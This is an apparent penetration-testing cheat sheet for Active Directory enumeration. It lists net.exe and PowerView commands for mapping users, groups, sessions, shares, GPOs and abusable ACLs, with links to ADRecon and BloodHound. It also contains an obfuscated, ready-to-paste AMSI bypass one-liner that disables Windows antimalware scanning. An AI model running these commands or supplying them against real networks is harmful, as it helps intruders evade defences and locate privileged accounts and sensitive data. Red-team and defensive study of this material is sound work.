# Traditional Approach

## Using ****net.exe****

Open CMD or powershell, enter commands:-

* **net user**

Enumerate all users in the local domain

* **net user /domain**

Adding the /domain flag will enumerate all users in the entire domain:

* **net user <username> /domain**

Detailed query information about individual users.

* **net group /domain**

Enumerate all groups in the domain

Output will give custom groups like Secret\_Group, Nested\_Group and Another\_Nested\_Group. In Active Directory, a group (and subsequently all the included members) can be added as member to another group. This is known as a nested group.

Unfortunately, the **net.exe** command line tool cannot list nested groups and only shows the direct user members.

* whoami /groups

# Currently Logged on Users

* **NetWkstaUserEnum API** requires administrative permissions and returns the list of all users logged on to a target workstation
* **NetSessionEnum API** used from a regular domain user and returns a list of active user sessions on servers such as fileservers or domain controllers.

**PowerView** script will be for above API . Get-NetLoggedon and Get-NetSession functions, which invoke NetWkstaUserEnum and NetSessionEnum respectively

* Import module to powershell :

PS C:\Tools\active\_directory> Import-Module .\PowerView.ps1

* PS C:\Tools\active\_directory> Get-NetLoggedon -ComputerName client251 ,where client251 is the target
* PS C:\Tools\active\_directory> Get-NetSession -ComputerName dc01

# ADRecon

ADRecon.ps1 -OutputDir <folder> -OutputType HTML

**Github:-** <https://github.com/sense-of-security/ADRecon>

<https://medium.com/@tristan_45472/getting-started-with-bloodhound-911ca94bd552>

<https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors>

# Bypass AMSI

Antimalware Scan Interface

any:-

* powershell -ep bypass
* SET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](notion://www.notion.so/"{1}{0}"-F'F','rE') ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."AssEmbly"."GETTYPe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."getfiElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sETVaLUE"( ${nULl},${tRuE} )

# Domain User Enum

#**Get a list of users in the current domain** Get-DomainUser Get-DomainUser -Name student1

**#Find User Accounts used as Service Accounts** Get-DomainUser -SPN

**#Get list of all properties for users in the current domain** Get-DomainUser –Properties lastlogon Get-DomainUser –Properties description, Get-DomainUser -Properties samaccountname,memberof

……

#**all enabled users, returning distinguishednames**

Get-DomainUser -UACFilter NOT\_ACCOUNTDISABLE -Properties distinguishedname

**#all disabled users**

Get-DomainUser -UACFilter ACCOUNTDISABLE

**#QUICK WIN** Get-DomainUser –Properties description

# Domain Group Enum

**#Get all the groups in the current domain** Get-DomainGroup Get-DomainGroupMember -Name "Domain Admins"

**#Get all the members of the Domain Admins group** Get-NetGroupMember -GroupName "Domain Admins" Get-NetGroupMember -GroupName "Domain Admins" -Recurse

**#Get all domains** Get-Domain Get-DomainOU Get-NetGroupMember -GroupName "Enterprise Admins" -Domain <domain name here>

**#Get the group membership for a user:** Get-DomainGroup –UserName "student1"

# Domain Computer and Server Enum

#**enumerates computers and derver in the current domain with 'outlier' properties, i.e. properties not set from the forest result returned by Get-DomainComputer**

Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier Get-DomainComputer Get-DomainComputer –OperatingSystem "Server 2016" Get-DomainComputer -Ping Get-DomainComputer -Name "Student.pentesting.local"

# GPO and OU Enum

A Group Policy Object (GPO) is a virtual collection of policy settings. A GPO has a unique name, such as a GUID.

Get-DomainGPO Get-DomainGPO | Select displayname Get-DomainGPO -ComputerName student.pentesting.local

**#Get machines where the given user is member of a specific group** Get-DomainGPOUserLocalGroupMapping -UserName student1 -Verbose

**#Domain** Get-domain

#**enumerate all gobal catalogs in the forest**

Get-ForestGlobalCatalog

**#Get OUs in a domain** Get-DomainOU

**#Get GPO for specific name** Get-DomainGPO Get-DomainGPO -Name "{AB306569-220D-43FF-B03B83E8F4EF8081}"

# Domain Shares Enum

**#Find shares on hosts in current domain.** Find-DomainShare –Verbose

**#Find Non Standard Shares** Find-DomainShare –Verbose -ExcludeStandard -ExcludeIPC -ExcludePrint

**#Find sensitive files on computers in the domain** Invoke-FileFinder –Verbose

**#Get all fileservers of the domain** Get-DomainFileServer -Verbose

# ACL Enum

Access Control List

**#Get the ACLs associated with the specified object** Get-ObjectAcl -SamAccountName student1 –ResolveGUIDs

**#GenericWrite for all users > under advanced > Write all properties** Get-ObjectAcl -SamAccountName \* –ResolveGUIDs | ? { ($.ActiveDirectoryRights -match 'GenericWrite') -and ($.SecurityIdentifier -match 'S-1-5-21-1070240333-336889418-1185445934-1603') }

#**Get ACLS with Invoke Scanner(scans the domain for all interesting abusable permissions)**

Invoke-ACLScanner -ResolveGUIDs

**Refrerence :-** <https://medium.com/r3d-buck3t/enumerating-access-controls-in-active-directory-c06e2efa8b89>